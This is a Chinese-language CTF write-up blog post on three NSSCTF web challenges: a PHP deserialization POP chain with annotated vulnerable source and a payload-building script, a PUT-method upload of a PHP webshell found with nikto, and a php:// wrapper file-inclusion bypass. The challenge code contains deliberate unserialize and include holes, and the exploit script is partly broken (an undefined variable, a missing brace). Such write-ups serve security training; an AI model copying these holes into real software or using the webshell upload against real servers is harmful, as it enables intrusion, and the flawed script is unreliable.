nssctf (1)

[NISACTF 2022]popchains

 

Happy New Year~ MAKE A WISH
<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){     #通过get获取wish的值 并判断是不是空
    @unserialize($_GET['wish']);  #反序列化wish
}
else{
    $a=new Road_is_Long;   #实例化Road_is_Long
    highlight_file(__FILE__);  #将当前页面的代码显示到页面
}
/***************************pop your 2022*****************************/

class Road_is_Long{   #定义一个名为Road_is_Long的类
    public $page;     #定义一个名为page的变量
    public $string;      #定义一个名为string的变量
    public function __construct($file='index.php'){      #定义__construct魔术方法 初始化使用
        $this->page = $file;                              #这里初始化page的值为index.php
    }
    public function __toString(){                         #toString方法 当一个对象被当作字符串使用时调用
        return $this->string->page;                       # return代表 $this->string->page以字符串  
    } 

    public function __wakeup(){                           # wakeup魔术方法 反序列化时最先调用 
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {    #对page过滤 
            echo "You can Not Enter 2022";
            $this->page = "index.php";                      #重新对page赋值
        }
    }
}

class Try_Work_Hard{            #定义一个名为Try_Work_Hard的类
    protected  $var;             #定义一个名为var的变量
    public function append($value){             #append方法 包含value变量
        include($value);                        #包含value
    }
    public function __invoke(){                 #invoke魔术方法 当脚本尝试将对象调用为函数时触发
        $this->append($this->var);              #__invoke方法调用append方法并将$this->var作为参数传给value
}

class Make_a_Change{        #定义一个名为Make_a_Change的类
    public $effort;           #定义一个名为effort的变量
    public function __construct(){            #__construct魔术方法 初始化使用
        $this->effort = array();              #初始化effor属性为空数组
    }

    public function __get($key){            #get魔术方法读取不可访问的属性的值时会被调用
        $function = $this->effort;          #将$this->effort赋值给function
        return $function();                 #返回function 同时function以函数执行
    }
}
/**********************Try to See flag.php*****************************/

先找出口 很明显时 通过include 所以是append方法

寻找调用append方法的地方发现__invoke魔术方法 

那调用__invoke方法当脚本尝试将对象调用为函数时触发

寻找触发invoke的地方 发现 __get中function以函数执行

get魔术方法读取不可访问的属性的值时会被调用

寻找读取不可访问的属性的地方_toString 中$this->string->page 这里没有page这个属性的定义

这里的page和$page是不同的 前者代表是string变量中的page属性 而后者是一个变量

toString方法 当一个对象被当作字符串使用时调用

  __wakeup中preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page里面匹配了$this->page而这里的$this->page是以字符串的形式会调用toString

wakeup在 反序列化时就会触发

调用思路
append         -->  invoke          --> get             --> toString        --> wakeup
Try_Work_Hard  -->  Try_Work_Hard   --> Make_a_Change   --> Road_is_long    --> Road_is_long

<?php
class Road_is_long{
    public $page;
    public $string;

}
class Try_Work_Hard{
    protected $var="/flag";  定义var的值 包含flag

}

class Make_a_Change{
    public $effort;

}


$A = new Road_is_long();
$A->page = new Road_is_long();
$A->page->string = new Make_a_Change();
$A->page->string->effort = new Try_Work_Hard();

$exp1 = serialize($A);
echo $exp1


 
$exp = serialize($a1);
echo urlencode($exp);





?>

 [NSSRound#1 Basic]basic_check

 这里要了解nikto的使用 

+OSVDB-397:HTTP方法“PUT”允许客户端在web服务器上保存文件

得到可以put 

然后知道put请求可以给服务器发送文件

我们给服务器发送一个为a,php的文件

这里代表执行get到的1的参数

然后我们到a.php中去

这里cat / 不会有返回值 我们要f*匹配 或者传入一句话木马再连接

[SWPUCTF 2022 新生赛]ez_ez_php

 

<?php
error_reporting(0);        #屏蔽报错信息
if (isset($_GET['file'])) {  #判断get传入的file是不是为空
    if ( substr($_GET["file"], 0, 3) === "php" ) {    #通过substr对file进行截断判断是不是php
        echo "Nice!!!";
        include($_GET["file"]);        #包含文件
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);        #高亮显示当前文件的代码
}
//flag.php                        #提示flag在flag.php中

这里要我们传入的file的开头时php 我们想到php伪协议的开头也是php 所以通过php伪协议读取

 

发现这个flag不对

他说flag在flag里面我们尝试访问flag

 

 

 

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

许允er

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值